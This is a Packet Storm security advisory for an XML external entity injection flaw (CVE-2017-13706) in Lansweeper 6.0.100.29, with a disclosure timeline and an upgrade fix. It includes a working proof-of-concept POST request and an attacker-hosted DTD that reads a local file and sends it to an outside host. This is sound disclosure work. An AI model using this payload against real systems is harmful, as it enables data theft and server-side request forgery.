what you don't know can hurt you
Home Files News &[SERVICES_TAB]About Contact Add New

Lansweeper 6.0.100.29 XXE Injection

Lansweeper 6.0.100.29 XXE Injection
Posted Oct 6, 2017
Authored by Mehmet Ince, Barkin Kilic

Lansweeper version 6.0.100.29 suffers from an XML external entity injection vulnerability.

tags | exploit, xxe
advisories | CVE-2017-13706
SHA-256 | ca71842cb4e74173030f211999d389dfe2a9a3c19eef8bf22a35b124a45d5cc4

Lansweeper 6.0.100.29 XXE Injection

Change Mirror Download
=============================================
- Release date: October 06th, 2017
- Discovered by: BarkA+-n KA+-lA+-ASS, Mehmet Dursun Adegnce

- Severity: High
=============================================

I. VULNERABILITY
-------------------------

Lansweeper XXE vulnerability.


II. INTRODUCTION
-------------------------

Lansweeper an Asset Management and Network Inventory Tool (v6.0.100.29 and
probably all previous versions) is affected by a XXE vulnerability.


III. DESCRIPTION
-------------------------

1) XML eXternel Entity Injection

An XML External Entity attack is a type of attack against an
application that parses XML input. This attack occurs when XML input
containing a reference to an external entity is processed by a weakly
configured XML parser. This attack may lead to the disclosure of
confidential data, denial of service, server side request forgery,
port scanning from the perspective of the machine where the parser is
located, and other system impacts. Reference:
https://www.owasp.org/index.php/XML_External_Entity_(XXE)_Processing


A* URL: hostname/deployment/DeploymentActions.aspx?action=importPackage
A* Method: POST


POC (proof of concept)

The vulnerability can be trigged via a POST request as shown in the
following PoC's.

POST /deployment/DeploymentActions.aspx?action=importPackage HTTP/1.1
Host: 192.168.179.134:81
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:52.0) Gecko/20100101 Firefox/52.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Referer: http://192.168.179.134:81/deployment/
Cookie: ASP.NET_SessionId=i05i2enzicanyusmf5inmawr; UserSettings=language=1; custauth=username=admin&userdomain=admin
DNT: 1
Connection: close
Upgrade-Insecure-Requests: 1
Content-Type: multipart/form-data; boundary=---------------------------141141110614240761271519111282
Content-Length: 390

-----------------------------141141110614240761271519111282
Content-Disposition: form-data; name="XML"; filename="test.xml"
Content-Type: text/xml

A-A>>A?<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE r [
<!ELEMENT r ANY >
<!ENTITY % sp SYSTEM "http://192.168.179.128:81/test.dtd">
%sp;
%param1;
]>
<r>&exfil;</r>

-----------------------------141141110614240761271519111282


As an attacker a web server should be prepared and should be serving a file containing:

cat test.dtd
<!ENTITY % data SYSTEM "file:///C:\Program Files (x86)\Lansweeper\test.txt">
<!ENTITY % param1 "<!ENTITY exfil SYSTEM ahttp://192.168.179.128/?%data;'>">



IV. BUSINESS IMPACT
-------------------------

An attacker could reach and disclose confidential data, cause denial of service, server side request forgery.


V. SYSTEMS AFFECTED
-------------------------

Version 6.0.100.29 is vulnerable (probably all previous versions)


VI. SOLUTION
-------------------------

Upgrade to version 6.0.100.67 or later.


VII. REFERENCES
-------------------------

lansweeper website:

https://www.lansweeper.com/
https://www.lansweeper.com/changelog.aspx BUG: #572705


VIII. CREDITS
-------------------------

The vulnerability has been discovered by:

BarkA+-n KA+-lA+-ASS barkin(at)barkin(dot)info
Mehmet Dursun Adegnce mehmet(at)mehmetince(dot)net


IX. ADVISORY TIMELINE
-------------------------

August 26th, 2017: Vulnerability identification
August 26th, 2017: CVE Requested
August 27th, 2017: CVE received - "CVE-2017-13706"
August 29th, 2017: First contact with vendor
August 29th, 2017: Vendor response; investigating
Sept 11th, 2017: Vendor says that the vulnerability will be fixed in the new
version
Oct 4th, 2017: Vulnerabilty fixed (Bug 572705). Reference:
https://www.lansweeper.com/changelog.aspx




X. LEGAL NOTICES
-------------------------

The information contained within this advisory is supplied "as-is" with no
warranties or guarantees of fitness of use or otherwise. We accept no
responsibility for any damage caused by the use or misuse of this
information.






Login or Register to add favorites

File Archive:

November 2023

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Nov 1st
    1 Files
  • 2
    Nov 2nd
    0 Files
  • 3
    Nov 3rd
    0 Files
  • 4
    Nov 4th
    0 Files
  • 5
    Nov 5th
    0 Files
  • 6
    Nov 6th
    0 Files
  • 7
    Nov 7th
    0 Files
  • 8
    Nov 8th
    0 Files
  • 9
    Nov 9th
    0 Files
  • 10
    Nov 10th
    0 Files
  • 11
    Nov 11th
    0 Files
  • 12
    Nov 12th
    0 Files
  • 13
    Nov 13th
    219 Files
  • 14
    Nov 14th
    19 Files
  • 15
    Nov 15th
    66 Files
  • 16
    Nov 16th
    38 Files
  • 17
    Nov 17th
    9 Files
  • 18
    Nov 18th
    0 Files
  • 19
    Nov 19th
    0 Files
  • 20
    Nov 20th
    13 Files
  • 21
    Nov 21st
    11 Files
  • 22
    Nov 22nd
    56 Files
  • 23
    Nov 23rd
    0 Files
  • 24
    Nov 24th
    0 Files
  • 25
    Nov 25th
    36 Files
  • 26
    Nov 26th
    0 Files
  • 27
    Nov 27th
    14 Files
  • 28
    Nov 28th
    30 Files
  • 29
    Nov 29th
    0 Files
  • 30
    Nov 30th
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2022 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close